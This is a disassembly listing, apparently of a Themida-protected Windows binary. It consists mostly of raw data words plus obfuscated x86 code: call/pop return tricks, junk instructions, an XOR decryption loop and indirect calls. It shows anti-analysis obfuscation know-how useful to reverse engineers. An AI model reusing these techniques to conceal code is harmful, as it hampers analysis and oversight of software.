895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 0FEC2C355h, 55006A01h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 8EE5DCD4h dd 0B349FB9Eh, 48DE689Ah, 830F56A8h, 5, 0D98B6651h, 2434815Bh dd 56A8485Eh, 2B359503h, 0FF6A0628h, 0CF1958Bh, 95FF0628h dd 6282D35h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 94C35747h, 4955C601h, 58C161BBh, 7FBDBA37h, 0F6102F3h dd 68Dh, 65B52900h, 8D06280Dh, 280561BDh, 57006A06h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 0BA66E289h, 0BD89D753h, 6281139h, 6A1C4F8Bh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 313C357h, 8BF8A24Ch, 280C759Dh, 6A016A06h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 7E86C351h, 7E4CDFF0h, 29E9B87Eh, 281FF9B5h, 66605006h dd 0F56B8BFh, 287h, 61D08B00h, 8B240C89h, 28294D95h, 9B858D06h dd 0FF062B33h, 0C860FD0h, 0F000000h, 68Eh, 299D8B00h, 8B062825h dd 6A204Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 0BCD5D8C3h, 6F3EC741h, 9E900E7h, 0B1000000h dd 4D6EB782h, 0AEB742AEh, 6A036Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 48ED0DC3h, 0FC8A91F8h dd 14E850h, 4A270000h, 0DAE7D9B3h, 0F581F3EBh, 0BC7A3BB7h dd 2D62A9Ch, 6060EFE8h, 830F61h, 61000000h, 952B915Ah dd 6280F3Dh, 339B858Dh, 0D88B062Bh, 0F38AD0FFh, 561BD8Dh dd 6A0628h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 0F3FAF3C3h, 10E9h, 0F5F52F00h, 0F04414C3h dd 71325AE5h, 8B8321EFh, 0BE9A0h, 6EEA0000h, 0FEF9EC0Ah dd 457C6157h, 1C4F8B60h, 6A016AF9h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 1DA7C352h dd 665229DAh, 5B064CBBh, 48E0F50h, 66000000h, 895B85BBh dd 9501240Ch, 6282469h, 339B858Dh, 8E8062Bh, 60000000h dd 0F62C2BE2h, 8B49245Fh, 0D0FF5ADFh, 0AD9501h, 4F8B0628h dd 0B6FC20h, 6A036Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 0E8D690C3h, 83C27463h, 660FFCE2h dd 0EFC0C381h, 50525050h, 0DE9h, 29F53B00h, 48E95485h dd 11463201h, 0F5A3FFEh, 5AD38B31h, 240C8958h, 9E9h, 4071400h dd 0C7C0B122h, 858D9DB7h, 62B339Bh, 1A0D8D09h, 0D0FF0628h dd 6E6BA66h, 4F048D8Bh, 0CE80628h, 0C5000000h, 893A471Bh dd 57AB6DD9h, 0F927204h, 0FE5AD3BFh, 53006A01h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0AB05A1F7h dd 0EE628A6Fh, 0B59D8900h, 8B06281Fh, 284F0485h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 68F4BABFh, 816620B1h, 0FE826BE2h, 66016A00h, 796E381h dd 0BC99D89h, 4E80628h, 0FF000000h, 56FFFF9Fh, 5060505Bh dd 0BE310F52h, 4ECA9502h, 5060585Ah, 5A310F52h, 6185B658h dd 24448B61h, 8BD38B04h, 89DF8B00h, 0F042444h, 0E8Ah, 0B2525000h dd 50310FB4h, 5A310F52h, 58585A58h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 16h, 0BCC35747h, 0BD8946FAh, 62819F5h dd 3CE38166h, 0A5858D08h, 9062B33h, 2813198Dh, 0F5D0FF06h dd 1F1BD83h, 0F000628h, 12284h, 0ECBB6600h, 15BD833Eh dd 1062824h, 111850Fh, 0E9600000h, 10h, 53B1277Ch, 0D7852A65h dd 9C28637Ch, 0BE151CD6h, 8D61DA8Bh, 2B33AF8Dh, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 0E99D8B41h, 6A062825h, 0DEB70F03h, 8960016Ah, 28224595h dd 14E806h, 2FDB0000h, 912617A5h, 43457188h, 0DB188EF7h dd 4AFF6AE6h, 0E28145FBh, 5F0A1743h, 0D1FF615Eh, 0ACAD3FBBh dd 6A016A23h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 0FC2AC353h, 6AF8B8B7h, 6800F91h dd 8B000000h, 28168995h, 12E806h, 0C4AF0000h, 0E780E25Fh dd 3894BDCBh, 7DC86CFDh, 0BFCA8D2Ah, 8E9h, 0F05B2900h dd 441EDF32h, 16A5BE2h, 0EE9h, 0E9548500h, 46320148h, 483FFE11h dd 0FFF63807h, 50006AD1h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 0B63BF345h, 6C15FA05h dd 336C16E8h, 0ED9589FAh, 6A06280Bh, 52006A20h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 91E0A90h, 0FF6AE68Bh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0CAC35141h dd 1C5C541h, 0EEA63C85h, 45958B3Ch, 0FF062802h, 282D3595h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 5B204320h, 8499279h, 9E9h, 0DF9CBF00h, 0EB4DAD58h dd 0B8181Ch, 66000000h, 0EC2FE281h, 840FC00Bh, 24h, 83DFBF0Fh dd 282431BDh, 840F0006h, 14h, 6E9h, 34004200h, 0FF500176h dd 28047595h, 0DBBF0F06h, 1259858Bh, 0C6F80628h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 157A4AC3h, 0E9D68B66h, 14h, 3141FE5Bh, 7F89A874h, 3E079E42h dd 5539FFAFh, 3542F4D2h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 52DCEB8Dh, 9D8BE4A7h dd 6280F15h, 0F5D98C66h, 2F0D8D89h, 0C1F60628h, 77840F04h dd 0B2000000h, 70E9D8h, 33600000h, 28296985h, 319D0906h dd 61062826h, 5D1B58Bh, 6A0628h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 7D517CC3h, 8085BB39h dd 0C68182E6h, 1180h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 0CCC35646h, 7521E98Fh, 2351BD89h dd 6C70628h, 0 ; --------------------------------------------------------------------------- mov ebx, [ebp+6280E51h] pop esi push 0 push edi call sub_54FF7A and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54FF7A proc near ; CODE XREF: Themida_:0054FF72p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_54FF7A endp ; --------------------------------------------------------------------------- dw 9D67h dd 8B668CEBh, 0F883D7h, 0B58840Fh, 0D6800000h, 1F88301h dd 174850Fh, 80600000h, 958B83F1h, 6282A8Dh, 0B861h, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 307D3EC3h, 2A0FEE0Bh, 311BE467h, 2818ED95h, 0FC00B06h dd 0E284h, 1D9D2900h, 83062818h, 840F01F8h, 0E6h, 839EDF80h dd 840F03F8h, 64h, 840FC02Bh, 1, 0E0BD8DF9h, 6A005B89h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 8A77C353h, 7307999Ah, 0FFDD1AAFh, 55006AE7h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 4322EE34h, 0F4A722AAh, 0F28166C1h, 0C381850Dh, 4AD0AB7Eh dd 1B8h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1904h, 0C3504000h, 0FA37854Ah, 8E0F8A2Fh, 5, 0B0F28166h dd 0E0BD8D2Dh, 0F005B89h, 0E7FFDABFh, 0EE9h, 0FEA5E400h dd 0D431A16Bh, 7B34B337h, 0F868B69h, 0E89h, 958B6000h dd 6280E1Dh, 245D9D29h, 8D610628h, 284590BDh, 0F3816606h dd 54E90E16h, 66000002h, 85C7D18Bh, 6284F5Fh, 5, 1D699589h dd 5B80628h, 0E9000000h, 11h, 8A5A4D42h, 701E336Fh, 27DB770Dh dd 0CDCFE126h, 91BE936h, 958B0000h, 6282DB5h, 2BAD9503h dd 0F8830628h, 0CC850F02h, 0E8000000h, 0Fh, 7F76BAF4h dd 8905CF29h, 828D5252h, 2BBF5DFBh, 2818F195h, 0B85A06h dd 50000000h, 1FDBA52h, 5A5B741Bh, 0C00BDA8Ah, 5D840Fh dd 0B70F0000h, 1F883D0h, 0FF7C840Fh, 10E9FFFFh, 0E0000000h dd 5D83F32Dh, 1B4893B7h, 702DF7F8h, 89E80C62h, 28010195h dd 3F88306h, 0FEE2840Fh, 8589FFFFh, 6281711h, 9529C02Bh dd 6281D41h, 89E0BD8Dh, 0B70F005Bh, 0E9E7FFD0h, 0Fh, 0FD492175h dd 38C47AB3h, 40E72F0Dh, 8D952F8Bh, 284788BDh, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 0D38166CDh, 0BB666928h, 4CE902BCh, 89000001h, 281E658Dh dd 0B9D28106h, 830D05A9h, 850F03F8h, 49h, 2F019501h, 0BD8D0628h dd 628491Ch, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 9FC35141h, 0F647170Ch, 58F0FD0h, 66000000h, 5534D281h dd 0FAE9h, 51BD8900h, 1062810h, 282DA9B5h, 5F88306h, 11850Fh dd 9D8B0000h, 62806B5h, 7D4E9h, 4D9D8B00h, 83062823h, 850F06F8h dd 38h, 20D9958Bh, 0BD8D0628h, 6284B14h, 26918589h, 0B4E90628h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 9F16C356h, 0A231677Dh, 0F07F883h dd 3A85h, 0D78B6600h, 0BE8h, 0C163A300h, 113154EDh, 43186637h dd 13E9h, 27AF5600h, 2123AA8Ah, 0E1E511EFh, 0F09D6ACCh dd 0DC55EBA4h, 0D5BD8D5Ah, 8B06282Fh, 0DAE9D7h, 83F50000h dd 850F0AF8h, 47h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 41C35343h, 2EB18851h, 0F6F79B8Fh, 0A9958B60h dd 0E9062804h, 6, 47D1648Fh, 8D612B40h, 284D0CBDh, 0D88B6606h dd 2E9h, 5763B200h, 0E6E8BB66h, 0A323BA66h, 27686B9h, 0DE844h dd 0F2290000h, 440122F4h, 2F37200Fh, 5A221981h, 0F003F83h dd 3984h, 68B0F00h, 8B000000h, 282EDD95h, 800F3006h, 0B70F80E7h dd 51C9D1DBh, 11419531h, 475B0628h, 0DF18501h, 0CDE90628h dd 0E9FFFFFFh, 0Ah, 6B829D9Ch, 0AE4CAF35h, 6A5FFDB3h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 362FC352h, 8DD03B2h, 0D2BF0F9Ah, 4F08BD89h, 6A0628h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 0D3C151C3h, 6EBE774Ah, 6E9C696h, 11000000h, 0EAAA3B07h dd 8D8DF8BAh, 6281D91h, 0D59D8B60h, 29062805h, 2824DD95h dd 0B5FF6106h, 6282EFDh, 8E8h, 30EB0100h, 0EF95BCE9h, 0BDB58905h dd 5B06282Bh, 9F24858Dh, 8D50062Ah, 285650BDh, 0F18D8D06h dd 0B8062870h, 54831ABCh, 730CF2Bh, 4947C8D0h, 0B58DF875h dd 628704Dh, 71098D8Dh, 0CF2B0628h, 0C933A4F3h, 0B8h, 74C00B00h dd 31BD8346h, 62824h, 95FF0674h, 6280475h, 4F08B58Bh, 858D0628h dd 62A9F24h, 858DD0FFh, 628436Eh, 85C7D0FFh, 62816C9h dd 1, 6A1A58Bh, 0B58B0628h, 6281F4Dh, 2D0DAD8Bh, 0C0330628h dd 0E8000CC2h, 11h, 5694835Ch, 819D1575h, 43C30A7Fh, 212C4C95h dd 7E9E2h, 0D4D00000h, 0C3283044h, 9D895A59h, 62817D9h dd 1721BD83h, 0F000628h, 1284h, 81950B00h, 0FF062826h dd 28063995h, 69BD8906h, 8306282Fh, 280961BDh, 850F0006h dd 1E2h, 2DCFCA81h, 958B60A3h, 6282BCDh, 2415BD83h, 0F010628h dd 1C985h, 0F5B53100h, 0F062823h, 687h, 99B58900h, 83062812h dd 2822B5BDh, 840F0006h, 1AAh, 2FD19D01h, 0D68B0628h, 4F5BBD83h dd 0F000628h, 19584h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 0BE3F0482h, 22BD6166h dd 0C2BA66F0h, 0DA8166F8h, 858DC56Bh, 62A9F24h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0A7C35242h, 39951EBEh dd 0BD2945E3h, 6281951h, 4F08B58Bh, 0D38B0628h, 6AD0FFh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 8B5695C3h, 2585C6DEh, 5406280Dh, 0B70FD88Ah, 0F55468D8h dd 5250AB13h, 310FD18Ah, 0F5DDBB66h, 3481585Ah, 5D4BA024h dd 52006A54h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h dd 0C3524200h, 0BAC08EAFh, 14E933AAh, 0E3000000h, 0E5D32AC3h dd 9A5D8C5Bh, 7DDEF3D2h, 576FAE90h, 0FFC0B558h, 282DD5B5h dd 858B6006h, 6281D51h, 5059589h, 8B610628h, 28046D95h dd 0BB858D06h, 6A06283Bh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 4A95C350h, 0C3ABBB66h dd 9523D0FFh, 62831E1h, 8BF9006Ah, 56FF6ADAh, 348D9D8Bh dd 0B25A0628h, 8BD0FFCCh, 28200195h, 0CDB5FF06h, 6A062810h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 0E454C356h, 0FF05C936h, 282EFD95h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 66705119h, 6B5BBB73h, 0B58B7CAAh, 6284F08h, 4019D8Bh dd 85010628h, 6282CF9h, 51006AC3h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 0DEC0D249h, 59B58BACh dd 60062812h, 89D9BF0Fh, 2829599Dh, 0F60B6106h, 9840Fh dd 6C60000h, 0D5952900h, 89062821h, 284F1085h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 53ABD350h, 0F8835BF8h, 97840F00h, 0F9000003h, 0B8h dd 0BF0F6000h, 0C28166D8h, 8361F793h, 840F00F8h, 0D3h dd 0FE8h, 7A3E5800h, 0BBCD72A1h, 7F3250C9h, 9A895DB5h dd 26E59D8Bh dd 895A0628h, 2800BD85h, 2F88306h, 6C850Fh, 0BD890000h dd 6281D25h, 458B858Dh, 6A0628h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 0CB82BC3h, 292D40DEh dd 66000009h, 8299E381h, 30BA6690h, 0BA6650BEh, 6A90BD57h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 3EB8C353h, 6F128CDAh, 0C3F945CBh, 0EB1958Bh dd 0B80628h, 0E8000000h, 5, 4ADDE585h, 5BD08B51h, 2D1E9h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 48A0FABh, 66000000h, 0B8FEE4BBh, 1, 2F519533h dd 0BD8D0628h, 6284590h, 0E4E9F8h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 719A72C3h dd 0B589EEC7h, 62803CDh, 0F02F883h, 5185h, 6800F00h, 1000000h dd 2826C5BDh, 88BD8D06h, 6A062847h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 6122C351h dd 0EB806061h, 0DB816606h, 8961B767h, 28177D8Dh, 37BA6606h dd 6CE9B7h, 89560000h, 282F5D95h, 0F8835A06h, 40850F03h dd 51000000h, 1515958Bh, 8D5A0628h, 28491CBDh, 0D9852906h dd 0E9062822h, 42h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 81C35545h, 28F0Fh, 0F9B70000h, 83DE8B66h dd 850F05F8h, 12h, 2800Fh, 0D88A0000h, 0ECE9h, 3725BB00h dd 665762FCh, 0B9AA92BAh, 44027686h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 52C35242h, 515BF8EFh, 6E9B042h dd 50000000h, 60E088EAh, 3F8379h, 0A7840Fh, 8D290000h dd 6283405h, 30DFBF0Fh, 19BD890Fh, 0D106281Fh, 55006AC9h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 5F02428h, 0B70F5C74h, 399589DEh, 47062824h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 85C35747h, 0E9FDDD16h dd 0Eh, 1E0E834Eh, 59E50A5h, 302644D2h, 0B5899F5Ah, 6282A85h dd 0FFFF7CE9h, 51006AFFh, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 9F48275Dh, 3864987Fh dd 4F18509h, 8B660628h, 5F883D0h, 0C0850Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 0F37F80C3h, 74061455h, 66D98C66h, 0F6479BBBh, 850F04C1h dd 45h, 9CC38166h, 0B83Eh, 6E80000h, 7A000000h, 0B57AEAEAh dd 5D9D8BEAh, 5A06281Fh, 6DE9h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 89CE12C5h dd 2831F1B5h, 81858B06h, 6A06282Ah, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0E9C6C356h dd 0Eh, 4C1E57B5h, 8E7FE56Fh, 797AA610h, 0E0FF22D3h, 0C840Fh dd 820F0000h, 6, 336ADB81h, 0BD835A8Fh, 6282EFDh, 0D2850F00h dd 8B000000h, 2818959Dh, 0D38B5006h, 6A240489h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 1A2C352h, 0D2585C6h, 89450628h, 2804B585h, 0A0A66806h dd 840F1EC3h, 8, 820F50h, 5B000000h, 0C3240481h, 8A6FAEC8h dd 0D5B5FFD0h, 6A06282Dh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 8DE7C356h, 21952945h dd 8D06281Dh, 283BBB85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 2DE624A6h, 0F94B97E9h dd 28BBD0FFh, 891415B8h, 282EFD85h, 6E806h, 4ACC0000h dd 0D33E63AAh, 5BD98B66h, 9E95758h, 94000000h, 6EB782B1h dd 0B742AE4Dh, 5FBD835Ah, 6284Fh, 30840Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 0FF526AC3h, 2810CDB5h, 95FFF906h, 6282EFDh, 10219D8Bh dd 0F8830628h, 0F4850F00h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 4014C352h dd 0B659123Eh, 0C4B8B37Bh, 511BD83h, 0F000628h, 8C84h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 4D17623Dh, 0B5FFE2DDh, 6280511h, 1B8h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 0F8DE134h, 3B7FF8D3h, 3401958Bh, 95890628h, 62825E9h dd 2A798D29h, 11E90628h, 6A000002h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0E50EC356h dd 8959F0A8h, 2802BDB5h, 0CDB5FF06h, 0E8062810h, 0Eh, 5BB02BB6h dd 0C1F3AB69h, 6B06959Dh, 38BA7E09h, 5B4FB2FEh, 10CDB5FFh dd 0FFF90628h, 282EFDB5h, 0DA816606h, 0B5E9FC70h, 5F000001h dd 68E0Fh, 0B5290000h, 62800C1h, 0DE9BD83h, 0F000628h dd 0EE85h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 8B437EABh, 28029595h, 2585C606h dd 4D06280Dh, 6810Fh, 958B0000h, 6282429h, 4E8h, 3576A800h dd 5E956A4h, 8C000000h, 0FC11B410h, 6657505Ah, 5A02AEBAh dd 424448Bh, 0DE8h, 2B87B300h, 5DE694D3h, 20DCA17Ch, 4CBB8ABAh dd 5B50AE0Ah, 4489008Bh, 5A520424h, 55006A58h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 0CA7A51C3h dd 25958BA6h, 0FF062818h, 28174DB5h, 0D9958B06h, 8D062817h dd 283BBB85h, 0E9D88B06h, 0Fh, 2F0D38C4h, 2F8B40E7h, 30071095h dd 0FF11CF75h, 26E280D0h, 0DE98589h, 13E80628h, 84000000h dd 223E5005h, 7390D873h, 6D6CB046h, 0F5B02520h, 0BB66A710h dd 0B85BB6C2h, 0 ; --------------------------------------------------------------------------- mov dl, bh mov [ebp+6284F08h], edi mov [ebp+6282D01h], esi or eax, eax jz loc_550E64 push edi xor edx, [ebp+6280369h] pop edx jmp loc_550EC0 ; --------------------------------------------------------------------------- push 0 push esi call sub_550E46 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_550E46 proc near ; CODE XREF: Themida_:00550E3Ep arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Bh inc esi push esi retn sub_550E46 endp ; --------------------------------------------------------------------------- dw 0D30Ch dd 0CA9BE4E7h, 958B76FDh, 62807F1h ; --------------------------------------------------------------------------- loc_550E64: ; CODE XREF: Themida_:00550E28j push dword ptr [ebp+6282EFDh] push 0 push ecx call sub_550E75 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_550E75 proc near ; CODE XREF: Themida_:00550E6Dp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_550E75 endp ; --------------------------------------------------------------------------- stc and al, 33h mov ebp, 0FD958BCCh pop es sub [esi], al pusha mov ecx, [ebp+6280CE9h] mov si, 917Ah popa lea eax, [ebp+62A9F24h] mov [ebp+6280BF9h], eax nop push edi mov ebx, 5E922759h pop ebx push eax mov ebx, eax nop jnp loc_550EC0 adc ebx, 2AEA834Dh loc_550EC0: ; CODE XREF: Themida_:00550E36j ; Themida_:00550EB4j push eax push esi lea edi, [ebp+6285650h] lea ecx, [ebp+6287B90h] mov eax, 748323BCh sub ecx, edi loc_550ED5: ; CODE XREF: Themida_:00550EDBj xor [edi], al ror al, 1 inc edi dec ecx jnz short loc_550ED5 pop esi pop eax cmp dword ptr [ebp+6280511h], 0 jz short loc_550EEE mov ecx, [ebp+6280441h] loc_550EEE: ; CODE XREF: Themida_:00550EE6j xor ecx, ecx mov eax, 0 or eax, eax jz loc_550FA5 cmp dword ptr [ebp+6282431h], 0 jz short loc_550F0C call dword ptr [ebp+6280475h] loc_550F0C: ; CODE XREF: Themida_:00550F04j mov eax, 0 or eax, eax jnz short loc_550F1E cmp dword ptr [ebp+6284F10h], 1 jz short loc_550F27 loc_550F1E: ; CODE XREF: Themida_:00550F13j cmp dword ptr [ebp+6284F10h], 2 jnz short loc_550F35 loc_550F27: ; CODE XREF: Themida_:00550F1Cj mov esi, [ebp+6284F08h] lea eax, [ebp+62A9F24h] call eax loc_550F35: ; CODE XREF: Themida_:00550F25j cmp dword ptr [ebp+6281721h], 0 jz short loc_550F44 call dword ptr [ebp+6280639h] loc_550F44: ; CODE XREF: Themida_:00550F3Cj lea eax, [ebp+628436Eh] call eax cmp dword ptr [ebp+62824F5h], 2 jnz short loc_550F84 mov esp, [ebp+62806A1h] mov eax, [ebp+6280511h] mov [esp], eax mov dword ptr [ebp+62816C9h], 1 mov esi, [ebp+6284F0Ch] mov ebp, [ebp+6282D0Dh] mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- jmp short $+2 loc_550F84: ; CODE XREF: Themida_:00550F53j mov dword ptr [ebp+62816C9h], 1 mov esp, [ebp+62806A1h] mov esi, [ebp+6281F4Dh] mov ebp, [ebp+6282D0Dh] xor eax, eax retn 0Ch ; --------------------------------------------------------------------------- loc_550FA5: ; CODE XREF: Themida_:00550EF7j cmp dword ptr [ebp+6281721h], 0 jz short loc_550FBD cmp dword ptr [ebp+6280639h], 0 jz short loc_550FBD call dword ptr [ebp+6280639h] loc_550FBD: ; CODE XREF: Themida_:00550FACj ; Themida_:00550FB5j mov esi, [ebp+6284F08h] retn ; --------------------------------------------------------------------------- dd 0E8D88B66h, 8, 9793F4A9h, 9BBFE945h, 2B5B75B2h, 2936B2D2h dd 2823EDBDh ; --------------------------------------------------------------------------- push es push ebp mov ebp, esp push ecx push edi push edx push esi mov edi, [ebp+8] xor eax, eax jmp short loc_550FF1 ; --------------------------------------------------------------------------- loc_550FEF: ; CODE XREF: Themida_:00550FF4j inc eax inc edi loc_550FF1: ; CODE XREF: Themida_:00550FEDj cmp byte ptr [edi], 0 jnz short loc_550FEF xor ecx, ecx mov edi, [ebp+8] jmp short loc_551020 ; --------------------------------------------------------------------------- loc_550FFD: ; CODE XREF: Themida_:00551022j xor edx, edx mov dl, [edi] sub dl, 30h mov esi, eax dec esi push eax mov eax, edx push ebx mov ebx, 0Ah jmp short loc_551015 ; --------------------------------------------------------------------------- loc_551012: ; CODE XREF: Themida_:00551018j mul ebx dec esi loc_551015: ; CODE XREF: Themida_:00551010j cmp esi, 0 ja short loc_551012 pop ebx add ecx, eax pop eax inc edi dec eax loc_551020: ; CODE XREF: Themida_:00550FFBj or eax, eax jnz short loc_550FFD mov eax, ecx pop esi pop edx pop edi pop ecx leave retn 4 ; --------------------------------------------------------------------------- mov [ebp+6283231h], ecx cld mov edx, 1CC3ADFBh loc_55103A: ; CODE XREF: Themida_:0054E2A8j mov eax, ecx jmp loc_57281B ; --------------------------------------------------------------------------- dd offset byte_5C7B3B dd offset byte_5C7B3B db 3Fh, 0, 5Bh dd 5C611802h, 0 dd 5B002800h, 12FF6C02h, 20200h, 200h, 2 dup(100h), 2C934500h dd 0FAh, 4 dup(0) dd 55344500h, 5587B400h, 5587D000h, 55AD2F00h, 5523CF00h dd 55C9AE00h, 55C7A400h, 55853100h, 557F4800h, 556C2200h dd 55512300h, 553F6200h, 551D3300h, 55A12300h, 55CD5900h dd 5515D900h, 55CFB400h, 55199C00h, 55777E00h, 55CADA00h dd 55606500h, 55260400h, 5566F400h, 558B6A00h, 5564AC00h dd 55682700h, 5591FF00h, 553B6C00h, 55137400h, 55D32B00h dd 55870100h, 55356700h, 55668000h, 55489500h, 55379800h dd 55934500h, 5530A600h, 55CF5A00h, 55242100h, 55B6D600h dd 557EDD00h, 55B98F00h, 55CA3C00h, 5563F600h, 55BC1E00h dd 55BFDB00h, 552D0200h, 55874400h, 553FD500h, 552C5900h dd 55554400h, 55159100h, 55188B00h, 55183800h, 5517C900h dd 55C0A500h, 55CFD800h, 55B9E700h, 556F9F00h, 5582DE00h dd 5576C000h, 558C6300h, 558C0100h, 55303D00h, 55D13900h dd 558CFF00h, 55959500h, 55C11100h, 55B87300h, 5584F800h dd 55C6CF00h, 55CA5700h, 55269F00h, 559A0B00h, 559E7200h dd 55377600h, 55825800h, 5590F700h, 55AAFA00h, 5595C300h dd 55564100h, 55C9E000h, 55140F00h, 553CD600h, 55BF1F00h dd 55420D00h, 554B8000h, 55C6C600h, 554EBB00h, 55A54700h dd 55417900h, 555F0800h, 5582A000h, 554EB300h, 5591B300h dd 55ACCD00h, 554EF800h, 556C0700h, 555F7900h, 55400500h dd 5530B000h, 5536AB00h, 55487200h, 55529900h, 55259400h dd 55237400h, 557B2800h, 55428200h, 55338A00h, 55A68300h dd 552A7D00h, 55C65700h, 5543EA00h, 5520AA00h, 55204F00h dd 55CDF200h, 552D7C00h, 55717300h, 55142100h, 557EEB00h dd 55AFFC00h, 5579A100h, 552E4500h, 55A98200h, 5514DF00h dd 555E8400h, 55403E00h, 55A9BE00h, 55D07800h, 55567000h dd 55CDAE00h, 555A0D00h, 55C0F800h, 55A2CC00h, 55D3B300h dd 5551B200h, 55536F00h, 558DBA00h, 55A3E500h, 55D08D00h dd 55389200h, 559E7D00h, 55838B00h, 55CB6100h, 558EC600h dd 55AA1C00h, 55880B00h, 5543A300h, 55420400h, 551F6500h dd 5550EB00h, 5551ED00h, 55A35A00h, 55AFD000h, 557E3200h dd 5566D200h, 5520B600h, 552C7F00h, 5568E100h, 55765800h dd 552BD100h, 5516A800h, 558B8800h, 5589BA00h, 55922B00h dd 55B66700h, 5549B300h db 0 ; 